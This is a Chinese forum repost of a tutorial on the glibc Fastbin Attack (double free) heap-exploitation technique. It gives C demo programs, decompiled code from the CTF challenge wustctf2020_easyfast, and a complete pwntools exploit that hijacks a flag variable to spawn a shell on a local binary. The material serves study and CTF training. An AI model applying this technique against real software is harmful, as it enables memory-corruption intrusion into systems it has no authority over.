安全矩阵

 找回密码
 立即注册
搜索
查看: 649|回复: 0

投稿-Fastbin Attack

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-3-22 21:50:20 | 显示全部楼层 |阅读模式
原文链接:投稿-Fastbin Attack
Fastbin Attack
简介
基于 fastbin 机制的漏洞利用方法

前提
存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞

漏洞发生于 fastbin 类型的 chunk 中

分类

--Fastbin Double Free
--House of Spirit
--Alloc to Stack
--Arbitrary Alloc
前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击
后两种侧重于故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击。

原理
fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。

下面用一段程序加gdb调试来说明

  1. #include <stdio.h>
  2. #include <stdlib.h>

  3. int main(void)
  4. {
  5.     void *chunk1,*chunk2,*chunk3;
  6.     chunk1=malloc(0x10);
  7.     chunk2=malloc(0x10);
  8.     chunk3=malloc(0x10);

  9.     free(chunk1);
  10.     free(chunk2);
  11.     free(chunk1);
  12.     return 0;
  13. }
复制代码
gcc -g name.c -o name
-g 在gdb中带着源码调试
-o 命名


从下面的gdb调试中可以很好的看到这一点,我们申请的是0x10大小的堆块,加上chunk头的0x10和in_use位中p位的1,最后大小就是0x21




画一下chunk的结构


一般来说free掉chunk之后prev_inuse的p为应该是0,但由 fastbin 管理的 chunk 即使被释放后p位仍然为1

Fastbin Double Free

简介
Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。

利用的原理

fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空

fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

  1. #include <stdio.h>
  2. #include <stdlib.h>

  3. typedef struct _chunk
  4. {
  5.     long long pre_size;
  6.     long long size;
  7.     long long fd;
  8.     long long bk;
  9. } CHUNK,*PCHUNK;

  10. CHUNK bss_chunk;

  11. int main(void)
  12. {
  13.     void *chunk1,*chunk2,*chunk3;
  14.     void *chunk_a,*chunk_b;

  15.     bss_chunk.size=0x21;
  16.     chunk1=malloc(0x10);
  17.     chunk2=malloc(0x10);

  18.     free(chunk1);
  19.     free(chunk2);
  20.     free(chunk1);

  21.     chunk_a=malloc(0x10);
  22.     *(long long *)chunk_a=&bss_chunk;
  23.     malloc(0x10);
  24.     malloc(0x10);
  25.     chunk_b=malloc(0x10);
  26.     printf("%p",chunk_b);
  27.     return 0;
  28. }
复制代码


申请两个chunk后,按顺序free掉chunk1,chunk2,chunk1,形成下面的链表




然后申请chunk1,把chunk1的fd指针改成bss_chunk的地址


再申请两个堆块就可以利用bss_chunk




总结一下
简单来说就是先申请了两个chunk,chunk1和chunk2,,然后先后free1、2、1,此时的fastbin链表为chunk1-->chunk2-->chunk1,然后重新申请chunk1,然后让chunk1的fd指针指向bss_chunk,此时bins中fastbin链表中队的chunk1也指向了bss_chunk,之后再陆续申请两个chunk就能控制利用bss_chunk了

例题
wustctf2020_easyfast
类型:fastbinattack double free
版本:Ubuntu16

ida

main
  1. void sub_400ACD()
  2. {
  3.   char s[8]; // [rsp+0h] [rbp-20h] BYREF
  4.   __int64 v1; // [rsp+8h] [rbp-18h]
  5.   unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  6.   v2 = __readfsqword(0x28u);
  7.   *(_QWORD *)s = 0LL;
  8.   v1 = 0LL;
  9.   while ( 1 )
  10.   {
  11.     puts("choice>");
  12.     fgets(s, 8, stdin);
  13.     switch ( atoi(s) )
  14.     {
  15.       case 1:
  16.         sub_400916();  //add
  17.         break;
  18.       case 2:
  19.         sub_4009D7(s, 8LL);  //delete
  20.         break;
  21.       case 3:
  22.         sub_400A4D(s, 8LL);  //edit
  23.         break;
  24.       case 4:
  25.         sub_400896(s, 8LL);  //backdoor
  26.         break;
  27.       case 5:
  28.         exit(0);
  29.       default:
  30.         puts("invalid");
  31.         break;
  32.     }
  33.   }
  34. }
复制代码


add
  1. unsigned __int64 sub_400916()
  2. {
  3.   int v0; // eax
  4.   int v1; // ebx
  5.   char s[24]; // [rsp+10h] [rbp-30h] BYREF
  6.   unsigned __int64 v4; // [rsp+28h] [rbp-18h]

  7.   v4 = __readfsqword(0x28u);
  8.   if ( dword_6020BC <= 3 )  //只能申请4个堆块
  9.   {
  10.     puts("size>");
  11.     fgets(s, 8, stdin);
  12.     v0 = atoi(s);
  13.     if ( v0 && (unsigned __int64)v0 <= 120 )
  14.     {
  15.       v1 = dword_6020BC++;
  16.       *(&buf + v1) = malloc(v0);
  17.     }
  18.     else
  19.     {
  20.       puts("No need");
  21.     }
  22.   }
  23.   else
  24.   {
  25.     puts("No need");
  26.   }
  27.   return __readfsqword(0x28u) ^ v4;
  28. }
复制代码


delete
  1. unsigned __int64 sub_4009D7()
  2. {
  3.   __int64 v1; // [rsp+8h] [rbp-28h]
  4.   char s[24]; // [rsp+10h] [rbp-20h] BYREF
  5.   unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  6.   v3 = __readfsqword(0x28u);
  7.   puts("index>");
  8.   fgets(s, 8, stdin);
  9.   v1 = atoi(s);
  10.   free(*(&buf + v1));   //uaf
  11.   return __readfsqword(0x28u) ^ v3;
  12. }
复制代码


edit
  1. unsigned __int64 sub_400A4D()
  2. {
  3.   __int64 v1; // [rsp+8h] [rbp-28h]
  4.   char s[24]; // [rsp+10h] [rbp-20h] BYREF
  5.   unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  6.   v3 = __readfsqword(0x28u);
  7.   puts("index>");
  8.   fgets(s, 8, stdin);
  9.   v1 = atoi(s);
  10.   read(0, *(&buf + v1), 8uLL);
  11.   return __readfsqword(0x28u) ^ v3;
  12. }
复制代码


backdoor
  1. int sub_400896()
  2. {
  3.   int result; // eax

  4.   if ( qword_602090 )  //储存的值是1   改成0就可以往下执行,就可以提权了
  5.     result = puts("Not yet");
  6.   else
  7.     result = system("/bin/sh");
  8.   return result;
  9. }
复制代码


qword_602090
  1. .data:0000000000602090 qword_602090    dq 1                    ; DATA XREF: sub_400896+4↑r
  2. .data:0000000000602090 _data           ends
  3. .data:0000000000602090
复制代码


double free的原理

在删除堆的时候没有对指针进行归零操作,然后重复free同一个chunk试其的fd形成一个循环 此时我们就可以通过在第二次申请该chunk的时候让同一个chunk拥有写入和执行的权限

思路
通过存在的uaf漏洞在fastbin链表中去进行堆块的构造,让第一个free掉的chunk的fd指针指向需要修改的bss段数值的-0x10的位置(这里就是个伪造一个堆块)



然后把伪造的堆块当成真正的chunk去申请,然后再修改这个伪造chunk的fd指针处的数值,就能成功的getshell



exp
  1. from pwn import *

  2. context(os='linux',arch='amd64',log_level='debug')
  3. io=process('./pwn')

  4. def duan():
  5.     gdb.attach(io)
  6.     pause()

  7. def add(size):
  8.     io.recvuntil(b'choice>\n')
  9.     io.sendline(b'1')
  10.     io.recvuntil(b'size>\n')
  11.     io.sendline(str(size))

  12. def delete(index):
  13.     io.recvuntil(b'choice>\n')
  14.     io.sendline(b'2')
  15.     io.recvuntil(b'index>\n')
  16.     io.sendline(str(index))

  17. def edit(index,content):
  18.     io.recvuntil(b'choice>\n')
  19.     io.sendline(b'3')
  20.     io.recvuntil(b'index>\n')
  21.     io.sendline(str(index))
  22.     io.send(content)

  23. def backdoor():
  24.     io.recvuntil(b'choice>\n')
  25.     io.sendline(b'4')


  26. #io.recvuntil("_\\_\\ \n")
  27. add(0x40)  #chunk0
  28. add(0x20)  #chunk1

  29. delete(0)  #free chunk0
  30. #duan()
  31. edit(0,p64(0x602080))

  32. add(0x40)
  33. add(0x40)

  34. edit(3,p64(0))
  35. backdoor()
  36. io.interactive()
复制代码

参考
https://ctf-wiki.org/pwn/linux/u ... oc2/fastbin-attack/

来源:先知社区的【F4atherw1t 】师傅


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 19:35 , Processed in 0.013154 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表